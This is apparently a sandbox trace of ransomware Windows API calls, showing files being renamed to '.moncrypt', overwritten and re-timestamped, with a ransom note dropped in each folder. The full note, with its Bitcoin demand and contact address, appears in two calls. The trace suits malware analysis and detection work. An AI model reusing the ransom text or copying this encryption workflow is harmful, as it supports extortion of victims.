0x44000c [0048.431] GlobalUnlock (hMem=0x44000c) returned 0 [0048.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.443] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.443] CloseHandle (hObject=0x190) returned 1 [0048.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.450] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.450] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.450] GlobalUnlock (hMem=0x44000c) returned 0 [0048.450] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.450] GlobalLock (hMem=0x440004) returned 0x557870 [0048.450] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.450] GlobalUnlock (hMem=0x44000c) returned 0 [0048.451] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.451] GlobalUnlock (hMem=0x440004) returned 0 [0048.451] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557870, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69ad8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.451] GetLastError () returned 0x2 [0048.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.451] WriteFile (in: hFile=0x190, lpBuffer=0x1dcd3b8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.452] CloseHandle (hObject=0x190) returned 1 [0048.452] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0048.452] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.452] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.452] GlobalLock (hMem=0x440004) returned 0x555860 [0048.452] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.453] GlobalUnlock (hMem=0x440004) returned 0 [0048.453] GlobalLock (hMem=0x440004) returned 0x555860 [0048.453] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.453] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.453] GlobalUnlock (hMem=0x440004) returned 0 [0048.453] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.453] GlobalUnlock (hMem=0x44000c) returned 0 [0048.453] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.453] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0048.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0048.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", cchWideChar=97, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpUsedDefaultChar=0x0) returned 97 [0048.453] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpUsedDefaultChar=0x0) returned 4 [0048.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0048.454] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.454] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.454] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0048.456] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.456] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.moncrypt")) returned 1 [0048.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.458] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.458] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x412b [0048.458] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.458] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x4000, lpOverlapped=0x0) returned 1 [0048.460] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.460] GlobalLock (hMem=0x440004) returned 0x55b870 [0048.460] GlobalHandle (pMem=0x55b870) returned 0x440004 [0048.460] GlobalUnlock (hMem=0x440004) returned 0 [0048.460] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0048.460] GlobalLock (hMem=0x440004) returned 0x55b870 [0048.460] GlobalHandle (pMem=0x55b870) returned 0x440004 [0048.460] GlobalUnlock (hMem=0x440004) returned 0 [0048.460] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0048.461] GlobalLock (hMem=0x440004) returned 0x55b870 [0048.461] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.461] GlobalUnlock (hMem=0x44000c) returned 0 [0048.461] GlobalHandle (pMem=0x55b870) returned 0x440004 [0048.461] GlobalUnlock (hMem=0x440004) returned 0 [0048.461] GlobalLock (hMem=0x440004) returned 0x555860 [0048.461] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.461] GlobalUnlock (hMem=0x440004) returned 0 [0048.461] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0048.461] GlobalLock (hMem=0x440004) returned 0x555860 [0048.461] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.461] GlobalUnlock (hMem=0x440004) returned 0 [0048.461] ReadFile (in: hFile=0x190, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e3b4*=0x20, lpOverlapped=0x0) returned 1 [0048.461] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e3a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e3a8*=0) returned 0x0 [0048.461] WriteFile (in: hFile=0x190, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e3b0*=0x4020, lpOverlapped=0x0) returned 1 [0048.461] SetFilePointer (in: hFile=0x190, lDistanceToMove=16683, lpDistanceToMoveHigh=0x18e3a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e3a8*=0) returned 0x412b [0048.461] WriteFile (in: hFile=0x190, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e3b0*=0x20, lpOverlapped=0x0) returned 1 [0048.461] WriteFile (in: hFile=0x190, lpBuffer=0x18e42c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x18e42c*, lpNumberOfBytesWritten=0x18e3b0*=0x8, lpOverlapped=0x0) returned 1 [0048.461] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dc8*, lpNumberOfBytesWritten=0x18e3b0*=0x1, lpOverlapped=0x0) returned 1 [0048.473] WriteFile (in: hFile=0x190, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e3b0*=0x9c, lpOverlapped=0x0) returned 1 [0048.473] CloseHandle (hObject=0x190) returned 1 [0048.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.474] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.474] CloseHandle (hObject=0x190) returned 1 [0048.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.475] GlobalLock (hMem=0x440004) returned 0x555860 [0048.475] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.475] GlobalUnlock (hMem=0x440004) returned 0 [0048.475] GlobalLock (hMem=0x440004) returned 0x555860 [0048.475] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.475] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.475] GlobalUnlock (hMem=0x440004) returned 0 [0048.475] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.475] GlobalUnlock (hMem=0x44000c) returned 0 [0048.475] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.475] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e28d3a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e28d3a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e28d3a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0048.475] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0048.475] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0048.475] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.475] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.476] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.476] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.476] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.476] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.476] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.476] ReadFile (in: hFile=0x190, lpBuffer=0x1dcd3b8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0048.476] CloseHandle (hObject=0x190) returned 1 [0048.476] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.476] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.476] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.476] GlobalUnlock (hMem=0x44000c) returned 0 [0048.476] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.476] GlobalLock (hMem=0x440004) returned 0x557870 [0048.476] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.476] GlobalUnlock (hMem=0x44000c) returned 0 [0048.476] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.476] GlobalUnlock (hMem=0x440004) returned 0 [0048.476] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x3e2b3500, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e2b3500, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.476] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.477] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.477] GlobalLock (hMem=0x440004) returned 0x555860 [0048.477] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.477] GlobalUnlock (hMem=0x440004) returned 0 [0048.477] GlobalLock (hMem=0x440004) returned 0x555860 [0048.477] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.477] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.477] GlobalUnlock (hMem=0x440004) returned 0 [0048.477] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.477] GlobalUnlock (hMem=0x44000c) returned 0 [0048.477] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.477] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x3e2b3500, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e2b3500, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.477] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.477] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.477] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.477] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.477] GlobalUnlock (hMem=0x44000c) returned 0 [0048.477] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.477] GlobalLock (hMem=0x440004) returned 0x557870 [0048.477] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.477] GlobalUnlock (hMem=0x44000c) returned 0 [0048.477] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.477] GlobalUnlock (hMem=0x440004) returned 0 [0048.477] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.477] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e28d3a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e28d3a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e28d3a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.477] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.477] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.477] GlobalLock (hMem=0x440004) returned 0x555860 [0048.477] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.478] GlobalUnlock (hMem=0x440004) returned 0 [0048.478] GlobalLock (hMem=0x440004) returned 0x555860 [0048.478] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.478] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.478] GlobalUnlock (hMem=0x440004) returned 0 [0048.478] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.478] GlobalUnlock (hMem=0x44000c) returned 0 [0048.478] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.478] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x19d5, dwReserved0=0x0, 